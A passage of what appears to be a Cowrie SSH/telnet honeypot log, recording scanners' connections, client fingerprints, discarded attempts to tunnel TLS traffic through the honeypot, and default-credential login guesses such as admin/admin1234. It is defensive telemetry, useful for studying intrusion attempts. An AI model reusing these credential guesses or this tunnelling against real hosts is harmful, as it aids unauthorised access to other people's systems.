deflate\\r\\n\\r\\n_=aDF2e0tUK1VwVihSWWI4bQ%3D%3DE8yTXLmrtN5j1zKP9GGGCk70W7m1xfan8QqI9eLT5Ek9PaRpyhi4fb51YVS%2F%2FE8eQvoQqPkD6kyJhu3rUmKeWPKBD0p6jhLMnaITqeQD%2BTMR1mn5vBmRvGzd2EF9yXFDOFnX7G8gJ0GOWzofFNzwxMF%2FduJQkGixiki%2Fe5Ujj3%2BYYLNYGisdaIuBGh2slPbCe4%2F3IxiiqPy6ilbIEsm7a%2FqwYzlmmCM1IxWUw2T3%2FS27Iix%2Fa6YYPqe7WUxoqNMUcN97ITHjeU4d9T4aB1%2BuAhBYPsy2W4sjgEj1euhKkwF1j6BpFJx%2B1PeMyRkGAjrrs5Er3zipeBHFBkOWyAiKjgJnn2MB17Fk0nuh5rMKRUafUWVAq7W14pqMVonCnxY%2BQl1HBQONpLnl0ap3hPYZDfq0d9XgcZMCdrTGgjhKrPnmKOZLVRrAd%2FUgV4qODiV73TzSECYFo64Ai1spxe%2BP6vp9iy0N9G3HBFXIMdp8rNWiySBpWeICM%2BkhGv9EN9pgnFEWva6bpvYsdN%2F23xDjmpmT11M%2BuHbYCMBEC5eiLouyQk1FZ%2FkbiL5py99TVqKkUFeNRoqGAvWO1SkpJNviAVreIOzVgIW6EOOlcvPDh1ujA%2BlmUv4xlX8gZ0LahwZA8yyvzjmyexQAUUtzeNCeGPxdpWTLFvqXuYYqw%2BEbejJOD%2FU6B6svnHzJqD2kGW4As7EhAAgfZbOluxuQASVk0tFmOuZGOqq8QgFxcn7g5075GQrlFLuSaWZjyb2iDDFA%2FFAHK54tUu9QjFgidNPqgqTN%2B9k7PvtFobZ%2BFIRzNC48pzXdmYMuvOSBAplxoT2sP9fODdtGly%2B3lgbSHJr68raV8v06yUgrs46s2T60FqQavZoB8CMaXwiLVln8dR%2BGiUrK2LCXxDDO44lqvsvknYd3cqGMcEgq2wF6DeP8o4NDnq6L4%2FdEGXmxPWaWF7l2npfduWKBbTYHOiH5iuOEfpWk4pMJPyTWNiBX%2BDSZoMQ59qAECx5NQYTrfnRH6bY4Kptq64C6UAegakPDwA1RffHeOw48gqYXoGmaFHPUJ%2F8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:05.668036Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:05.920298Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1f]R]\\x8e\\xb8\\xcaY\\xae\\'iBz\\x19\\xc4\\xb6\\xces\\xa0\\x81t\"\\xf8\\x01^\\x81\\xe5\\xf5\\x05\\x9eW\\x06 \\xff\\x17\\xbd\\xddJ\\xabZ\\x07\\xbb\\xde\\xf9\\xd5\\x8a<\\xcb2\\xf1\\x9c\\xabnK\\xa1\\x9d\\x0f6\\x16F\\x0cXn\\x0c3\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 f\\xf5\\x91n\\x16\\x91\\xfb\\xe1\\xd5-g\\xc6\\xab[\\x80\\x8bt\\xde,\\xaf\\x9f;\\xfd\\xe4QX\\x0e\\xce\\x8ad44\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1f]R]\\x8e\\xb8\\xcaY\\xae\\'iBz\\x19\\xc4\\xb6\\xces\\xa0\\x81t\"\\xf8\\x01^\\x81\\xe5\\xf5\\x05\\x9eW\\x06 \\xff\\x17\\xbd\\xddJ\\xabZ\\x07\\xbb\\xde\\xf9\\xd5\\x8a<\\xcb2\\xf1\\x9c\\xabnK\\xa1\\x9d\\x0f6\\x16F\\x0cXn\\x0c3\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 f\\xf5\\x91n\\x16\\x91\\xfb\\xe1\\xd5-g\\xc6\\xab[\\x80\\x8bt\\xde,\\xaf\\x9f;\\xfd\\xe4QX\\x0e\\xce\\x8ad44\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:05.923883Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:06.388056Z","src_ip":"91.92.40.36","session":"76743686ca8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:06.405653Z","src_ip":"91.92.40.36","session":"76743686ca8e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:06.443081Z","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:06.714597Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H~\\xfb\\xe9F\\xe7\\xee!P\\xb6-m\\x87\\x9c\\xc83\\x8e\\xb8X\\x13\\xa7\\xc2\\x81f\\xf7~;b\\xb0\\x83\\xbc\\xaf \\xfe\\x0c\\xa2\\xc5?uG\\x15!\\x90g)\\xb2Le\\x1d\\x99W\\x9bQ\\x18\\xae\\xe9J\\xff\\x9c\\xcd\\x89K\\xb2\\xcb\\x16\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\x96\\x05&S\\xa7\\x897\\xf2Wa\\x8c9s\\xa1\\xe6\\x98\\xb9\\xa31\\xc1n \\x8f\\x0cs\\xe6/\\xc2d\\xda>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H~\\xfb\\xe9F\\xe7\\xee!P\\xb6-m\\x87\\x9c\\xc83\\x8e\\xb8X\\x13\\xa7\\xc2\\x81f\\xf7~;b\\xb0\\x83\\xbc\\xaf \\xfe\\x0c\\xa2\\xc5?uG\\x15!\\x90g)\\xb2Le\\x1d\\x99W\\x9bQ\\x18\\xae\\xe9J\\xff\\x9c\\xcd\\x89K\\xb2\\xcb\\x16\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\x96\\x05&S\\xa7\\x897\\xf2Wa\\x8c9s\\xa1\\xe6\\x98\\xb9\\xa31\\xc1n \\x8f\\x0cs\\xe6/\\xc2d\\xda>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:06.717806Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:07.147091Z","src_ip":"113.164.152.20","session":"2fe9588c75ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:07.217926Z","src_ip":"91.92.40.36","session":"cbfbac39400e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.118422985076904,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:07.495862Z","src_ip":"172.81.62.90","session":"88787ea267f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19340,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4174930a6cc","protocol":"ssh","message":"New connection: 91.92.40.36:19340 (159.203.135.109:22) [session: e4174930a6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:10.737430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:12.837698Z","src_ip":"91.92.40.36","session":"e4174930a6cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:12.841563Z","src_ip":"91.92.40.36","session":"e4174930a6cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"321","message":"login attempt [admin/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:14.019405Z","src_ip":"91.92.40.36","session":"76743686ca8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":52616,"dst_ip":"10.17.0.5","dst_port":22,"session":"a07277ae5144","protocol":"ssh","message":"New connection: 23.175.50.52:52616 (10.17.0.5:22) [session: a07277ae5144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:16.561809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:16.571737Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:16.706569Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:16.952825Z","src_ip":"91.92.40.36","session":"76743686ca8e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:17.673784Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
